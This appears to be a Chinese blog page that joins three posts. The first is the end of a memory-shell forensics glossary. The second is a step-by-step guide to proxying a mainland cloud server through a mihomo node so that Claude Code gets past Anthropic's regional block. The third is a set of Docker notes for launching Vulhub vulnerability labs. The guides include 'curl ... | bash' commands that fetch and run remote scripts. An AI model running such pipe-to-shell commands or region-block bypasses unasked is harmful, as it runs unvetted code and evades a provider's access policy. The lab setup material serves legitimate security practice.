    web.xml应用的配置文件,正常 Filter 都在这里注册
    StandardContextTomcat 内部管理一个应用所有组件(Filter/Servlet)的对象
    ClassLoader类加载器,负责把 class 字节码加载进内存
    URLClassLoader能从网络 URL 加载字节码的类加载器(内存马攻击的入口)
    反射(Reflection)运行时用字符串动态操作类/字段/方法的技术
    反序列化漏洞程序把外部数据还原成对象时执行了恶意代码(内存马常见入口)
    JNDI 注入程序按攻击者指定的地址加载远程对象(Log4Shell 就是它)
    Arthas阿里开源 Java 在线诊断工具,本次取证核心工具
    jadArthas 的反编译命令(字节码 → Java 源码)
    dumpArthas 的导出命令(内存类 → 文件)
    vmtoolArthas 查看 JVM 对象实例的命令
    持久化攻击者让后门”重启也不消失”的手段(改jar/启动参数/计划任务)
    RASP运行时的应用自我保护(能检测内存马的防护产品类型)
    SSH 隧道用 SSH 加密连接转发端口流量(攻击者用它隐藏来源/内网穿透)

    本笔记所有命令与输出均来自 2026-08-04 真实演练环境,可直接复现。 复现方式:ECS 上靶机仍在运行(8080 端口),本地执行 python attack.py 即可重打全流程。

  • 如何在云服务器上面配置claudecode使用官方claude教程

    场景:在国内云服务器(阿里云/腾讯云等)上,通过自己的机场订阅,让服务器能科学上网并运行 Claude Code,SSH 连上就能直接用 claude 命令。

    本教程在以下环境验证通过

    • 服务器:阿里云北京 ECS · Ubuntu 24.04 · root 用户
    • 客户端:Windows 11 + Xshell 7 + Python 3.9(可选,用于自动化)
    • 机场:任意 Clash 格式订阅(如 hk-beup 等)
    • Claude 计划:Pro 月付订阅(API key 也支持)

    📑 目录

    1. 整体架构与原理
    2. 前置条件
    3. Step 1:SSH 连接服务器并体检
    4. Step 2:处理机场订阅(关键坑点)
    5. Step 3:安装 mihomo 内核
    6. Step 4:生成简化配置(默认走日本节点)
    7. Step 5:下载 GeoIP 数据并启动 mihomo
    8. Step 6:配置 systemd 开机自启
    9. Step 7:写入全局代理环境变量
    10. Step 8:安装 Node.js 与 Claude Code
    11. Step 9:登录 Claude(订阅 vs API key)
    12. Step 10:配置默认模型
    13. Step 11:创建一键状态检查命令
    14. 端口与防火墙详解
    15. 常见故障排查
    16. 完整目录结构与文件清单

    1. 整体架构与原理

    1.1 流量链路图

    [本地 Windows]
         │
         │ SSH 22 端口
         ▼
    ┌─────────────────────────────────────────────┐
    │ 云服务器 XXX.XXX.XXX.XXX(北京阿里云)        │
    │                                             │
    │  ① Claude Code 进程                         │
    │       │                                     │
    │       │ HTTP 请求 → 127.0.0.1:7890          │
    │       │ (本机回环,不走物理网卡)           │
    │       ▼                                     │
    │  ② mihomo 进程(Clash 内核命令行版)        │
    │       监听 127.0.0.1:7890                   │
    │       │                                     │
    │       │ VLESS 加密协议封装                   │
    │       ▼                                     │
    │  ③ 出物理网卡,目标:                        │
    │     {机场域名}:{节点端口}                    │
    └─────────────────────────────────────────────┘
         │
         │ TCP(出阿里云,目的端口随节点而异)
         ▼
    [机场境外节点(Tokyo / HK / US ...)]
         │
         │ TCP 443 (HTTPS)
         ▼
    [api.anthropic.com](Anthropic 服务器)

    1.2 为什么需要这套架构

    问题 原因
    国内云服务器直连 Claude 报 403 Anthropic 对中国大陆 IP 限制访问
    直接用 clash-for-linux 经常失败 维护停滞、依赖混乱、配置复杂
    本地装 Clash 不能让服务器用 服务器需要自己有出口能力

    解决思路:在服务器上跑一个无图形界面的 Clash 内核(mihomo),服务器自己变成”翻墙客户端”,再让 Claude Code 通过本地 7890 端口走代理出去。


    2. 前置条件

    必需 说明
    ✅ 一台云服务器 任意国内云厂商,root 权限或 sudo,Ubuntu 20.04+ 推荐
    ✅ 机场订阅链接 Clash 格式(URL 末尾有 flag=clash 或自动转换)
    ✅ Anthropic 账号 Pro/Max 订阅 或 API key(有余额)
    ✅ SSH 客户端 Xshell / WindTerm / 系统自带 ssh 都可以

    如果没有机场订阅:先去买一个(月费 5-30 元)或自建(需要境外 VPS)。本教程不涵盖建机场。


    Step 1:SSH 连接服务器并体检

    1.1 连接

    ssh root@你的服务器IP

    1.2 体检:看服务器位置和现状

    # 服务器位置
    curl -s https://ipinfo.io
    # 看 country 字段。如果是 CN 说明在国内,需要本教程;如果是境外(HK/JP/US)反而不需要折腾代理
    
    # 测试能否直连 Claude
    curl -s -o /dev/null -w "%{http_code}n" --max-time 10 https://api.anthropic.com
    # 国内大陆服务器返回 403(地区封禁),境外服务器返回 405(正常)
    
    # 架构(决定要下载哪个 mihomo 版本)
    uname -m
    # 输出 x86_64 或 aarch64

    1.3 期望结果

    • 国内服务器:country: CN + Claude API 返回 403 → 继续本教程
    • 境外服务器:直接跳到 Step 8,不需要装代理

    Step 2:处理机场订阅(关键坑点)

    2.1 ⚠️ 大坑:云服务器 IP 段被机场封禁

    99% 的机场都会封禁数据中心 IP 段(防止有人买一个订阅在云上搭代理转卖)。直接在服务器上 curl 订阅 URL 会返回 403:

    <h1>403 Forbidden</h1>
    <p>The isp has been denied.</p>

    别浪费时间换 User-Agent,行不通的。

    2.2 解决方案:本地下载 + 上传

    在你本地电脑上(家用宽带 IP)下载订阅文件:

    # Windows PowerShell 或 Linux bash 都可以
    curl -L -A "clash" -o clash_config.yaml "https://你的机场.com/api/v1/client/subscribe?token=xxxxx&flag=clash"
    
    # 验证下载成功(应该是几百行 YAML 文本)
    wc -l clash_config.yaml
    head -5 clash_config.yaml
    # 应该看到 mixed-port: 7890 之类的

    2.3 上传到服务器

    # 在服务器上创建配置目录
    ssh root@你的服务器IP "mkdir -p /etc/mihomo"
    
    # 用 scp 或 sftp 上传
    scp clash_config.yaml root@你的服务器IP:/etc/mihomo/config.yaml

    或者用 Xshell 的 rz 命令、WinSCP 拖文件都行。


    Step 3:安装 mihomo 内核

    mihomo 是什么:Clash 内核的活跃分支(Clash.Meta),命令行版无需图形界面,是当前最稳定的选择。

    3.1 SSH 连到服务器,下载 mihomo

    # 1. 查最新版本号
    curl -s https://api.github.com/repos/MetaCubeX/mihomo/releases/latest | grep tag_name
    # 假设输出: "tag_name": "v1.19.24"
    
    # 2. 下载(如果服务器直连 GitHub 慢,用国内加速镜像)
    VERSION="v1.19.24"
    ARCH="amd64"  # ARM 服务器改成 arm64
    
    # 国内加速镜像
    URL="https://ghfast.top/https://github.com/MetaCubeX/mihomo/releases/download/${VERSION}/mihomo-linux-${ARCH}-${VERSION}.gz"
    curl -L -o /tmp/mihomo.gz "$URL"
    
    # 3. 安装
    gunzip /tmp/mihomo.gz
    chmod +x /tmp/mihomo
    mv /tmp/mihomo /usr/local/bin/mihomo
    
    # 4. 验证
    /usr/local/bin/mihomo -v
    # 期望输出: Mihomo Meta v1.19.24 linux amd64 with go1.x

    Step 4:生成简化配置(默认走日本节点)

    4.1 为什么要简化原配置

    机场原始 yaml 通常 600+ 行,规则极复杂,可能导致:

    • mihomo 启动失败
    • 启动慢(要加载几千条规则)
    • 行为难以预测

    只为 Claude Code 用代理的话,规则三条就够。

    4.2 在本地用 Python 生成简化配置

    把下面脚本保存为 simplify_config.py

    import yaml
    
    # 读原始订阅
    with open('clash_config.yaml', 'r', encoding='utf-8') as f:
        cfg = yaml.safe_load(f)
    
    # 提取所有节点,排除非节点项(提示信息)
    proxies = cfg.get('proxies', [])
    real_nodes = [
        p['name'] for p in proxies 
        if not p['name'].startswith(('剩余流量', '距离下次', '套餐到期', '🏘️', '🛠️'))
    ]
    
    # 选一个默认节点(可改为 "🇭🇰 香港|Hong Kong 01" 等)
    DEFAULT_NODE = '🇯🇵 日本|Japan 01'
    assert DEFAULT_NODE in real_nodes, f'默认节点不存在!可选: {real_nodes[:5]}'
    
    # 生成简化配置
    new_cfg = {
        'mixed-port': 7890,            # HTTP+SOCKS 混合端口
        'allow-lan': False,            # 不允许局域网访问
        'bind-address': '127.0.0.1',   # 仅监听本地(安全)
        'mode': 'rule',
        'log-level': 'info',
        'external-controller': '127.0.0.1:9090',
        'dns': {
            'enable': True,
            'ipv6': False,
            'enhanced-mode': 'fake-ip',
            'fake-ip-range': '198.18.0.1/16',
            'nameserver': ['223.5.5.5', '119.29.29.29'],
            'fallback': ['1.1.1.1', '8.8.8.8'],
            'fallback-filter': {'geoip': True, 'geoip-code': 'CN'},
        },
        'proxies': proxies,  # 保留所有节点
        'proxy-groups': [{
            'name': 'PROXY',
            'type': 'select',
            'proxies': [DEFAULT_NODE] + [n for n in real_nodes if n != DEFAULT_NODE],
        }],
        'rules': [
            'DOMAIN-SUFFIX,anthropic.com,PROXY',
            'DOMAIN-SUFFIX,claude.ai,PROXY',
            'DOMAIN-SUFFIX,openai.com,PROXY',
            'DOMAIN-SUFFIX,googleapis.com,PROXY',
            'DOMAIN-SUFFIX,github.com,PROXY',
            'DOMAIN-SUFFIX,githubusercontent.com,PROXY',
            'DOMAIN-SUFFIX,npmjs.org,PROXY',
            'DOMAIN-SUFFIX,registry.npmjs.org,PROXY',
            'GEOIP,CN,DIRECT',  # 国内 IP 直连
            'MATCH,PROXY',      # 其余全走代理
        ],
    }
    
    with open('config_simple.yaml', 'w', encoding='utf-8') as f:
        yaml.safe_dump(new_cfg, f, allow_unicode=True, default_flow_style=False, sort_keys=False)
    
    print(f'已生成 config_simple.yaml,包含 {len(real_nodes)} 个节点,默认 {DEFAULT_NODE}')

    运行:

    pip install pyyaml
    python simplify_config.py

    4.3 上传简化配置覆盖原配置

    scp config_simple.yaml root@你的服务器IP:/etc/mihomo/config.yaml

    Step 5:下载 GeoIP 数据并启动 mihomo

    5.1 mihomo 需要 GeoIP 数据库识别”哪些 IP 是国内”

    # SSH 到服务器
    cd /etc/mihomo
    
    # 用国内镜像加速下载
    curl -sL --max-time 90 -o geoip.metadb 
      "https://ghfast.top/https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geoip.metadb"
    
    curl -sL --max-time 90 -o geosite.dat 
      "https://ghfast.top/https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geosite.dat"
    
    curl -sL --max-time 90 -o Country.mmdb 
      "https://ghfast.top/https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/country.mmdb"
    
    # 验证目录
    ls -la /etc/mihomo/
    # 应该看到:config.yaml + geoip.metadb + geosite.dat + Country.mmdb

    5.2 测试配置是否合法

    /usr/local/bin/mihomo -t -d /etc/mihomo
    # 期望最后一行: configuration file /etc/mihomo/config.yaml test is successful

    5.3 临时启动测试

    # 后台启动(用 setsid 完全脱离 SSH 会话)
    setsid /usr/local/bin/mihomo -d /etc/mihomo > /var/log/mihomo.log 2>&1 < /dev/null &
    
    # 等 3 秒后检查
    sleep 3
    ss -tlnp | grep 7890
    # 期望:LISTEN ... 127.0.0.1:7890 ... users:(("mihomo",...))
    
    # 测试代理出口(应该看到日本东京 IP)
    curl -sx http://127.0.0.1:7890 -m 15 https://ipinfo.io
    
    # 测试 Claude API
    curl -sx http://127.0.0.1:7890 -m 15 -o /dev/null -w "%{http_code}n" https://api.anthropic.com
    # 期望:405 (之前是 403,说明地区封锁突破成功)

    Step 6:配置 systemd 开机自启

    6.1 创建 systemd 服务文件

    cat > /etc/systemd/system/mihomo.service <<'EOF'
    [Unit]
    Description=mihomo Daemon
    After=network.target
    
    [Service]
    Type=simple
    ExecStart=/usr/local/bin/mihomo -d /etc/mihomo
    Restart=on-failure
    RestartSec=5
    LimitNOFILE=1048576
    
    [Install]
    WantedBy=multi-user.target
    EOF

    6.2 启用并启动

    # 先杀掉之前手动启动的进程
    pkill -9 -f mihomo
    
    # 重载 systemd 并启用 + 启动
    systemctl daemon-reload
    systemctl enable mihomo
    systemctl start mihomo
    
    # 查状态(应该看到 active (running))
    systemctl status mihomo --no-pager

    至此 mihomo 已经开机自启。可以 reboot 验证:重启后无需操作直接能用。


    Step 7:写入全局代理环境变量

    7.1 创建自动加载脚本

    cat > /etc/profile.d/proxy.sh <<'EOF'
    # === Auto-loaded proxy settings (mihomo 7890) ===
    if [ -z "${HTTPS_PROXY:-}" ] && nc -z 127.0.0.1 7890 2>/dev/null; then
        export HTTP_PROXY="http://127.0.0.1:7890"
        export HTTPS_PROXY="http://127.0.0.1:7890"
        export http_proxy="http://127.0.0.1:7890"
        export https_proxy="http://127.0.0.1:7890"
        export NO_PROXY="localhost,127.0.0.1,::1,*.local"
        export no_proxy="localhost,127.0.0.1,::1,*.local"
    fi
    EOF
    
    chmod +x /etc/profile.d/proxy.sh

    7.2 让交互式 shell 也加载

    /etc/profile.d/*.sh 默认只在 login shell 时加载,某些 SSH 客户端可能用 non-login shell。补一下:

    grep -q "profile.d/proxy.sh" /etc/bash.bashrc 
      || echo "[ -f /etc/profile.d/proxy.sh ] && . /etc/profile.d/proxy.sh" >> /etc/bash.bashrc

    7.3 验证

    # 退出当前 SSH,重新连接
    exit
    # 再 ssh root@... 进来
    
    # 检查环境变量
    env | grep -i proxy
    # 应该看到 HTTPS_PROXY=http://127.0.0.1:7890 等

    Step 8:安装 Node.js 与 Claude Code

    8.1 检查/安装 Node.js(≥ 18)

    node -v
    # 如果输出版本 ≥ v18.x,跳过下面安装

    如果没装 Node.js:

    # Ubuntu 24.04 仓库自带的版本
    apt update && apt install -y nodejs npm
    
    # 或者装最新 LTS(推荐)
    curl -fsSL https://deb.nodesource.com/setup_22.x | bash -
    apt install -y nodejs

    8.2 通过代理装 Claude Code

    环境变量已经在 Step 7 设置好了,npm 会自动走代理:

    npm install -g @anthropic-ai/claude-code
    
    # 验证
    claude --version
    # 期望输出: 2.x.xx (Claude Code)
    which claude
    # 期望输出: /usr/bin/claude 或 /usr/local/bin/claude

    Step 9:登录 Claude(订阅 vs API key)

    9.1 ⚠️ 关键概念区分

    方式 怎么登录 计费
    Pro/Max 订阅 claude auth login 选 Claude account → 浏览器 OAuth 包月,订阅内不限消息
    API key 设环境变量 ANTHROPIC_API_KEY 按 token 扣 credit balance

    两种钱包独立:你 Pro 订阅没钱 ≠ API credits 没钱。混着用会出现”我月付了为什么 Rate limit”的诡异现象。

    9.2 推荐:用订阅登录

    # 先确保没有 API key 干扰
    grep -i ANTHROPIC_API_KEY ~/.bashrc /etc/environment /etc/profile /etc/profile.d/*.sh 2>/dev/null
    # 如果有结果,注释或删掉这些行
    
    # 启动登录流程
    claude auth login
    # 选 1. Claude account (claude.ai login)
    # 它会显示一段 URL

    9.3 完成 OAuth(服务器没浏览器也能搞定)

    1. 复制屏幕上的 URL
    2. 在你 本地 Windows 浏览器 打开
    3. 用 Pro/Max 账号登录并授权
    4. 授权后会看到一段 Authentication Code
    5. 复制 Code,粘贴回 SSH 终端
    6. 终端显示 Login successful 即成功

    9.4 验证

    claude auth status
    # 期望:
    # {
    #   "loggedIn": true,
    #   "authMethod": "claude.ai",
    #   "subscriptionType": "pro"   ← 关键:你的订阅类型
    # }

    9.5 替代方案:用 API key

    如果你坚持用 API key(按量计费):

    echo 'export ANTHROPIC_API_KEY="sk-ant-api03-xxxxx"' >> ~/.bashrc
    source ~/.bashrc

    Step 10:配置默认模型

    10.1 模型别名

    别名 实际模型 Pro 计划 Max 计划
    sonnet claude-sonnet-4-6
    opus claude-opus-4-7 ⚠️ 配额很少
    haiku claude-haiku-4-5

    10.2 设置默认模型

    编辑 ~/.claude/settings.json

    mkdir -p ~/.claude
    cat > ~/.claude/settings.json <<'EOF'
    {
      "model": "sonnet",
      "env": {
        "API_TIMEOUT_MS": "3000000"
      }
    }
    EOF

    10.3 选模型建议

    • 日常编程:默认 sonnet,配额最多
    • 复杂任务:临时切 Opus(在 TUI 里输 /model
    • 简单问答haiku 速度最快、最省额度

    坑点:某些版本的 Claude Code 在 /model 菜单里 Opus 显示成 4.6(实际是 4.7),但 claude --model claude-opus-4-7 -p "test" 跑得通就说明你账号有权限。可以直接在 settings.json 写全名 "model": "claude-opus-4-7" 绕过显示 bug。


    Step 11:创建一键状态检查命令

    便于以后排查问题:

    cat > /usr/local/bin/claude-status <<'EOF'
    #!/bin/bash
    echo "=== mihomo 服务 ==="
    systemctl is-active mihomo --quiet && echo "✅ active" || echo "❌ stopped"
    systemctl is-enabled mihomo --quiet && echo "✅ enabled (开机自启)" || echo "⚠️  disabled"
    echo ""
    echo "=== 代理出口 ==="
    curl -sx http://127.0.0.1:7890 -m 8 https://ipinfo.io 2>/dev/null | grep -E '"(ip|city|country)"' || echo "❌ 代理不通"
    echo ""
    echo "=== 环境变量 ==="
    echo "HTTPS_PROXY=$HTTPS_PROXY"
    echo ""
    echo "=== Claude Code ==="
    claude --version 2>&1
    echo ""
    echo "=== Claude 登录状态 ==="
    claude auth status 2>&1
    EOF
    
    chmod +x /usr/local/bin/claude-status

    以后只要 SSH 进来运行 claude-status 就能查所有项。


    🎉 至此全部完成

    日常使用流程

    # 1. SSH 进来(环境变量自动加载)
    ssh root@你的服务器IP
    
    # 2. 直接用
    claude
    
    # 3. 想检查状态
    claude-status

    端口与防火墙详解

    入站方向(外部 → 服务器)

    端口 必要性 说明
    22 (SSH) ✅ 必需 否则你连不进来
    7890 (mihomo) ❌ 不需要开 mihomo 监听 127.0.0.1,外部连不进来
    9090 (mihomo API) ❌ 不需要开 仅本机访问

    出站方向(服务器 → 外部)

    目标 端口 说明
    机场节点 各种(VLESS 多个高位端口) 阿里云出站默认全开
    Anthropic API 443 通过代理
    GitHub/npm 443 通过代理

    为什么 mihomo 监听 127.0.0.1 不是 0.0.0.0

    两个原因

    1. 安全 ——监听 0.0.0.0 等于把代理服务挂到公网。任何人扫到端口都能免费蹭你的机场流量。
    2. 不需要 —— claude 在服务器内部跑,本机访问够了。

    TCP 出站连接的本质

    每次进程发起出站连接:

    • 源端口:操作系统从临时端口范围(Linux 默认 32768~60999)随机分配
    • 目标端口:对方的监听端口(如机场节点的 XXXXX 端口)
    • 不需要在防火墙开任何端口:防火墙只管入站

    总结一句话:进来的门要主动开,出去的随便走。


    常见故障排查

    故障 1:curl https://api.anthropic.com 返回 403

    原因:没用代理,直连被地区封禁。

    排查

    echo $HTTPS_PROXY
    # 应该是 http://127.0.0.1:7890;如果空,环境变量没加载
    source /etc/profile.d/proxy.sh

    故障 2:claude 启动报 Credit balance too low

    原因:环境变量里残留 ANTHROPIC_API_KEY,且这个 key 余额不足。

    修复

    # 找出来源
    grep -rn "ANTHROPIC_API_KEY" ~/.bashrc /etc/environment /etc/profile /etc/profile.d/ 2>/dev/null
    
    # 删掉对应行(或注释)
    sed -i '/ANTHROPIC_API_KEY/d' ~/.bashrc
    
    # 退出当前 SSH 重连
    exit

    故障 3:claude 启动报 Rate limit reached

    可能原因

    1. 同时存在 API key + 订阅登录,状态混乱
    2. 用了 1M context 模型(Pro 计划不支持)

    修复

    # 改回标准 sonnet
    sed -i 's/"sonnet[1m]"/"sonnet"/' ~/.claude/settings.json

    故障 4:mihomo 启动失败

    journalctl -u mihomo --no-pager -n 50
    # 看具体错误。常见:
    # - GeoIP 文件缺失 → 重新下载(Step 5.1)
    # - 配置语法错误 → /usr/local/bin/mihomo -t -d /etc/mihomo
    # - 端口被占用 → ss -tlnp | grep 7890,杀掉占用进程

    故障 5:网速慢/Claude 经常超时

    可能是节点不稳,切换节点:

    # 列出所有节点
    curl -s http://127.0.0.1:9090/proxies/PROXY | python3 -c "import json,sys; print('n'.join(json.load(sys.stdin)['all']))"
    
    # 切到指定节点(替换 NODE_NAME)
    curl -X PUT http://127.0.0.1:9090/proxies/PROXY 
      -H 'Content-Type: application/json' 
      -d '{"name":"🇭🇰 香港|Hong Kong 01"}'
    
    # 再测速
    curl -sx http://127.0.0.1:7890 -m 15 https://ipinfo.io

    故障 6:机场订阅过期/换了,怎么更新

    # 1. 在本地重新下载新订阅
    # 2. 用 Step 4 的 simplify_config.py 重新生成简化配置
    # 3. 上传覆盖
    scp config_simple.yaml root@你的服务器IP:/etc/mihomo/config.yaml
    
    # 4. 重启 mihomo
    ssh root@你的服务器IP "systemctl restart mihomo && sleep 2 && claude-status"

    完整目录结构与文件清单

    部署完成后,服务器上的关键文件:

    /etc/mihomo/                              # mihomo 配置目录
    ├── config.yaml                           # 主配置(你的订阅简化版)
    ├── geoip.metadb                          # GeoIP 数据库
    ├── geosite.dat                           # GeoSite 数据库
    └── Country.mmdb                          # MaxMind 国家库
    
    /etc/systemd/system/
    └── mihomo.service                        # systemd 服务定义
    
    /etc/profile.d/
    └── proxy.sh                              # 代理环境变量自动加载
    
    /etc/bash.bashrc                          # 已追加 source proxy.sh
    
    /usr/local/bin/
    ├── mihomo                                # mihomo 二进制
    └── claude-status                         # 一键状态检查命令
    
    /var/log/
    └── mihomo.log                            # mihomo 运行日志
    
    ~/.claude/                                # Claude Code 用户配置
    ├── settings.json                         # 模型、环境变量、插件等
    └── .credentials.json                     # OAuth 凭据(自动生成)
    
    ~/.claude.json                            # Claude Code 全局状态
    
    /usr/lib/node_modules/@anthropic-ai/      # Claude Code 安装位置
    └── claude-code/

    附录:常用命令速查

    # 服务管理
    systemctl status mihomo                   # 看状态
    systemctl restart mihomo                  # 重启
    systemctl stop mihomo                     # 停止
    journalctl -u mihomo -n 50 --no-pager     # 看最近 50 行日志
    
    # 测试
    claude-status                             # 一键自检
    curl -sx http://127.0.0.1:7890 https://ipinfo.io   # 测代理出口
    curl -sx http://127.0.0.1:7890 -o /dev/null -w "%{http_code}" https://api.anthropic.com  # 测 API
    
    # 节点切换
    curl -s http://127.0.0.1:9090/proxies/PROXY        # 看当前节点
    curl -X PUT http://127.0.0.1:9090/proxies/PROXY 
      -d '{"name":"节点全名"}'                          # 切换节点
    
    # Claude Code
    claude --version                          # 版本
    claude auth status                        # 登录状态
    claude auth logout                        # 退出登录
    claude --model claude-opus-4-7 "你的问题"  # 临时指定模型

    致谢与参考


    📅 教程版本:基于 mihomo v1.19.24 + Claude Code v2.1.87,2026-05-08 验证通过。

    ⚠️ 安全提醒

    1. 不要把 mihomo 的 7890 端口暴露到公网(除非加认证),否则会被滥用
    2. 不要在公开场合贴你的机场订阅 URL 或 ANTHROPIC_API_KEY
    3. 服务器 root 密码不要太弱,建议改用 SSH 密钥登录

    全文完。如有问题,照着 常见故障排查 章节逐项检查。

  • docker/docker-compose笔记

    目录

    1. Docker 简介与安装
    2. 核心命令速查
    3. 漏洞环境拉取与本地测试全流程
    4. docker-compose 完整教程
    5. Dockerfile 编写入门
    6. 常见问题与排错

    一、Docker 简介与安装

    1.1 三大核心概念

    概念解释类比
    镜像 (Image)只读的容器模板,包含运行环境和程序类似安装光盘 / ISO 文件
    容器 (Container)镜像运行后的实例,可读写,相互隔离类似运行中的虚拟机
    仓库 (Registry)存储和分发镜像的服务,默认是 Docker Hub类似 GitHub,存放镜像

    一句话流程: 从仓库 pull 镜像 → run 启动成容器 → 容器里运行程序


    1.2 安装 Docker(Linux)

    Ubuntu / Debian — 官方一键脚本(推荐)

    # 下载并执行官方安装脚本
    curl -fsSL https://get.docker.com | bash

    # 国内服务器推荐用阿里云源(速度更快)
    curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

    Ubuntu / Debian — 手动 apt 安装

    # 1. 安装依赖
    sudo apt update
    sudo apt install -y ca-certificates curl gnupg

    # 2. 添加 Docker 官方 GPG 密钥
    sudo install -m 0755 -d /etc/apt/keyrings
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
     sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

    # 3. 添加 Docker 软件源
    echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
    https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | \
     sudo tee /etc/apt/sources.list.d/docker.list

    # 4. 安装 Docker
    sudo apt update
    sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin

    CentOS / RHEL

    # 1. 安装 yum-utils
    sudo yum install -y yum-utils

    # 2. 添加 Docker 源(阿里云)
    sudo yum-config-manager --add-repo \
    https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

    # 3. 安装 Docker
    sudo yum install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin

    1.3 启动服务与验证

    # 启动 Docker 服务
    sudo systemctl start docker

    # 设置开机自启
    sudo systemctl enable docker

    # 验证安装是否成功
    docker --version
    docker run hello-world

    1.4 配置国内镜像加速源

    Docker Hub 在国内访问慢,配置加速源可大幅提升镜像拉取速度。

    # 编辑或创建 daemon.json
    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<EOF
    {
     "registry-mirrors": [
       "https://docker.mirrors.ustc.edu.cn",
       "https://hub-mirror.c.163.com",
       "https://mirror.baidubce.com"
    ]
    }
    EOF

    # 重启 Docker 使配置生效
    sudo systemctl daemon-reload
    sudo systemctl restart docker

    # 验证加速源是否生效
    docker info | grep -A5 "Registry Mirrors"

    1.5 免 sudo 使用 Docker(可选)

    # 将当前用户加入 docker 组
    sudo usermod -aG docker $USER

    # 重新登录后生效(或执行以下命令立即生效)
    newgrp docker

    # 验证
    docker ps

    二、核心命令速查

    2.1 镜像管理

    # 搜索镜像
    docker search ubuntu

    # 拉取镜像(默认 latest 标签)
    docker pull ubuntu
    docker pull ubuntu:20.04           # 指定版本

    # 查看本地所有镜像
    docker images
    docker image ls

    # 删除镜像
    docker rmi ubuntu:20.04
    docker rmi <镜像ID>

    # 强制删除(即使有容器依赖)
    docker rmi -f ubuntu:20.04

    # 给镜像打标签
    docker tag ubuntu:20.04 myubuntu:v1

    # 保存镜像到文件(离线传输用)
    docker save -o ubuntu.tar ubuntu:20.04

    # 从文件加载镜像
    docker load -i ubuntu.tar

    # 查看镜像详细信息
    docker inspect ubuntu:20.04

    2.2 容器管理

    # 运行容器(核心命令,参数见下方详解)
    docker run ubuntu:20.04

    # 查看运行中的容器
    docker ps

    # 查看所有容器(含已停止的)
    docker ps -a

    # 启动 / 停止 / 重启容器
    docker start   <容器ID或名称>
    docker stop   <容器ID或名称>
    docker restart <容器ID或名称>

    # 删除容器(必须先停止)
    docker rm <容器ID或名称>

    # 强制删除运行中的容器
    docker rm -f <容器ID或名称>

    # 进入运行中的容器
    docker exec -it <容器ID或名称> /bin/bash
    docker exec -it <容器ID或名称> /bin/sh   # 部分镜像没有 bash

    # 查看容器日志
    docker logs <容器ID或名称>
    docker logs -f <容器ID或名称>            # 实时跟踪日志(类似 tail -f)
    docker logs --tail 100 <容器ID或名称>    # 只看最后 100 行

    # 查看容器详细信息(IP、挂载、环境变量等)
    docker inspect <容器ID或名称>

    # 查看容器资源占用
    docker stats

    # 从主机复制文件到容器
    docker cp ./文件 <容器名>:/容器内路径

    # 从容器复制文件到主机
    docker cp <容器名>:/容器内路径 ./本地路径

    2.3 docker run 参数详解

    docker run [参数] 镜像名 [命令]
    参数说明示例
    -d后台运行(detached 模式)docker run -d nginx
    -p 宿主机端口:容器端口端口映射-p 8080:80
    --name 名称指定容器名称--name myapp
    -e KEY=VALUE设置环境变量-e MYSQL_ROOT_PASSWORD=123456
    -v 宿主机路径:容器路径挂载数据卷-v /data:/var/www/html
    --rm容器退出后自动删除适合一次性测试
    -it交互模式(进入终端)docker run -it ubuntu bash
    --network 网络名指定容器网络--network mynet
    --restart always崩溃或重启后自动重启容器适合服务容器

    常用组合示例:

    # 后台运行 + 端口映射 + 自定义名称
    docker run -d -p 8080:80 --name mynginx nginx

    # 交互式进入 Ubuntu 容器
    docker run -it --rm ubuntu:20.04 /bin/bash

    # 后台运行 + 挂载目录 + 环境变量
    docker run -d \
     -p 3306:3306 \
     -e MYSQL_ROOT_PASSWORD=root123 \
     -v /mydata/mysql:/var/lib/mysql \
     --name mysql8 \
    mysql:8.0

    2.4 网络管理

    # 查看所有网络
    docker network ls

    # 创建自定义网络(容器间可通过名称互相访问)
    docker network create mynet

    # 查看网络详情
    docker network inspect mynet

    # 将容器连接到网络
    docker network connect mynet <容器名>

    # 删除网络
    docker network rm mynet

    2.5 数据卷管理

    # 查看所有数据卷
    docker volume ls

    # 创建数据卷
    docker volume create mydata

    # 查看数据卷详情
    docker volume inspect mydata

    # 删除数据卷
    docker volume rm mydata

    2.6 系统清理

    # 删除所有停止的容器
    docker container prune

    # 删除所有未使用的镜像
    docker image prune

    # 一键清理(停止容器、未使用镜像、网络、缓存)
    docker system prune

    # 更彻底的清理(含未使用的数据卷)
    docker system prune -a --volumes

    三、漏洞环境拉取与本地测试全流程

    适用于:CTF 靶机、渗透测试练习、漏洞复现

    3.1 推荐靶场来源

    靶场地址说明
    Vulhubhttps://github.com/vulhub/vulhub最全面的漏洞环境库,基于 docker-compose
    DVWAdocker pull vulnerables/web-dvwaWeb 安全综合练习平台
    WebGoatdocker pull webgoat/goat-and-wolfOWASP 官方靶场
    Pikachu搜索 pikachu中文漏洞练习平台
    Metasploitable2docker pull tleemcjr/metasploitable2经典综合靶机

    3.2 Vulhub 靶场完整使用流程(最重要)

    Vulhub 收录了 CVE 漏洞的复现环境,每个漏洞一个目录,一条命令启动。

    第一步:安装依赖并克隆仓库

    # 安装 git(如未安装)
    sudo apt install -y git    # Ubuntu
    sudo yum install -y git    # CentOS

    # 克隆 Vulhub(国内用 gitee 镜像更快)
    git clone https://github.com/vulhub/vulhub.git

    # 国内加速(gitee 镜像)
    git clone https://gitee.com/vulhub/vulhub.git

    第二步:进入目标漏洞目录

    cd vulhub

    # 目录结构:漏洞类型/具体漏洞/
    ls
    # 常见目录:log4j2、struts2、thinkphp、fastjson、shiro、weblogic 等

    # 进入具体漏洞(以 Log4j2 CVE-2021-44228 为例)
    cd log4j/CVE-2021-44228
    ls
    # 会看到 docker-compose.yml 和 README.md

    第三步:阅读 README

    cat README.md
    # README 里有漏洞说明、启动步骤、利用方法,必看!

    第四步:启动漏洞环境

    # 后台启动(自动拉取所需镜像)
    docker-compose up -d

    # 查看容器状态
    docker-compose ps

    # 查看日志(启动失败时排查用)
    docker-compose logs -f

    第五步:访问与测试

